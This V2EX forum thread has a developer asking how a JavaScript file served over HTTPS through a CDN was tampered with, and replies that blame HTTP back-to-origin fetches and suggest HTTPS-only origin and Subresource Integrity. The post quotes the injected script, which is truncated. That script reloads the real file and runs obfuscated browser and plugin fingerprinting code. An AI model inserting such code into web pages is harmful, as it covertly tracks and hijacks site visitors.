V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
工单节点使用指南
• 请用平和的语言准确描述你所遇到的问题
• 厂商的技术支持和你一样也是有喜怒哀乐的普通人类,尊重是相互的
• 如果是关于 V2EX 本身的问题反馈,请使用 反馈 节点
alex321
V2EX  ›  全球工单系统

好奇 https 下,蓝讯 CDN 分发的 js 内容是如何被篡改的?

  •  
  •   alex321 · 2018-08-07 12:15:17 +08:00 · 4607 次点击
    这是一个创建于 2304 天前的主题,其中的信息可能已经有所发展或是发生改变。
    情况这样,我们有一个域名做静态 static.example.com 资源分发,已经部署了 https,使用的证书是泛域证书,比如 *.example.com 。使用了蓝讯 CDN 的服务。
    然后,今天发现这样的情形,有一个 https://static.example.com/js/lib/app.js 的内容被篡改了,检查过浏览器的证书,没问题,是我们自己的泛域名证书 *.example.com ,但内容已经变成类似如下的东西。

    var _jsurl = "http://static.example.com/js/lib/app.js";_jsurl += (_jsurl.indexOf('?') > 0 ? '&' : '?') + '_t=' + (new Date().getTime());var _b = "XXTS02";var _c = "1317528361_(D1gRiK90V1atV1P6D9==_1767603217_1_)ie==";var jsNode1=document.createElement("script");jsNode1.setAttribute("type","text/javascript"),jsNode1.setAttribute("src",_jsurl),document.head?document.head.appendChild(jsNode1):document.body&&document.body.appendChild(jsNode1); !function(a,b){function c(a){var d,e,f,g,h,i,b="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";for(new Array(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1),f=a.length,e=0,d="";f>e;){if(g=255&a.charCodeAt(e++),e==f){d+=b.charAt(g>>2),d+=b.charAt((3&g)<<4),d+="==";break}if(h=a.charCodeAt(e++),e==f){d+=b.charAt(g>>2),d+=b.charAt((3&g)<<4|(240&h)>>4),d+=b.charAt((15&h)<<2),d+="=";break}i=a.charCodeAt(e++),d+=b.charAt(g>>2),d+=b.charAt((3&g)<<4|(240&h)>>4),d+=b.charAt((15&h)<<2|(192&i)>>6),d+=b.charAt(63&i)}return d}function d(){return-1!=b.userAgent.indexOf("MSIE")?"ie":-1!=b.userAgent.indexOf("Chrome")?"Chrome":-1!=b.userAgent.indexOf("Firefox")?"Firefox":-1!=b.userAgent.indexOf("Opera")?"Opera":-1!=b.userAgent.indexOf("Netscape")?"Netscape":-1!=b.userAgent.indexOf("Safari")?"Safari":""}function e(){function e(){var a="",c=b.plugins;if(c.length>0)for(j=0;j
    11 条回复    2018-08-07 15:24:24 +08:00
    JGideon
        1
    JGideon  
       2018-08-07 12:20:25 +08:00   ❤️ 1
    cdn 回源用的是 http ?
    zhuowenli
        2
    zhuowenli  
       2018-08-07 12:22:20 +08:00   ❤️ 1
    之前遇到过 CDN 跟 CDN 服务器之间同步没有走 HTTPS,然后在同步的过程中被篡改的。
    stevenhawking
        3
    stevenhawking  
       2018-08-07 13:04:36 +08:00   ❤️ 1
    记得国外有个 Jsdelivr,在中国跟网宿合作的。

    但是,不久前被污染了
    Livid
        4
    Livid  
    MOD
       2018-08-07 13:07:51 +08:00   ❤️ 3
    建议源站只监听 https 443 端口,然后只允许 CDN 通过 https 方式回源。
    wsad001002
        5
    wsad001002  
       2018-08-07 13:09:54 +08:00 via iPhone   ❤️ 1
    不清楚楼主的具体拓扑,但是我司使用 akamai 的 dsa( https 加速)是需要在我司的服务器上安装一套证书私钥(origin-www.example.com),在 akamai 上也安装一套证书私钥(www.example.com)。用户访问 www.example.com 的时候其实是与 akamai 的 edge 服务器建立 https 连接,然后 akamai 将数据 downgrade 成 http,然后内部做四七层转发或者其他自定义缓存控制,然后再与我司 origin-www.example.com 服务器建立 https 服务。至少与 akamai 的工程师确认过,数据在他们内部就是透明的。其实也可以理解,如果数据在 cdn 处不透明,他们无法解密 https 数据流的话,那么 cdn 也无法建立缓存和策略控制。目测是 cdn 的缓存有问题,被污染了,所以,换个靠谱的 cdn 吧…
    miyuki
        6
    miyuki  
       2018-08-07 13:24:03 +08:00 via Android   ❤️ 1
    cdn 用 http 回源被劫持了
    bequt
        7
    bequt  
       2018-08-07 13:34:09 +08:00
    @stevenhawking SRI 不知道有没有用。现在在用 jsdelivr,感觉还行吧。。
    国内都不知道用什么 cdn 了。
    alex321
        8
    alex321  
    OP
       2018-08-07 13:48:05 +08:00
    @JGideon #1 具体是运维那边操作的,应该是走 http 的。
    miyuki
        9
    miyuki  
       2018-08-07 14:48:16 +08:00 via Android
    @bequt

    如果你也在用 jsdelivr,那么请小心,他的节点会投毒。
    https://www.v2ex.com/t/403110
    mywaiting
        10
    mywaiting  
       2018-08-07 15:08:02 +08:00
    SRI 请了解一下 https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity

    当然了,污染仍然是存在的,建议只用 HTTPS 回源
    ETiV
        11
    ETiV  
       2018-08-07 15:24:24 +08:00 via iPhone
    遇到过 apple.com 被 cdn 劫持的,登录页跳到支付宝
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   1032 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 23ms · UTC 20:25 · PVG 04:25 · LAX 12:25 · JFK 15:25
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.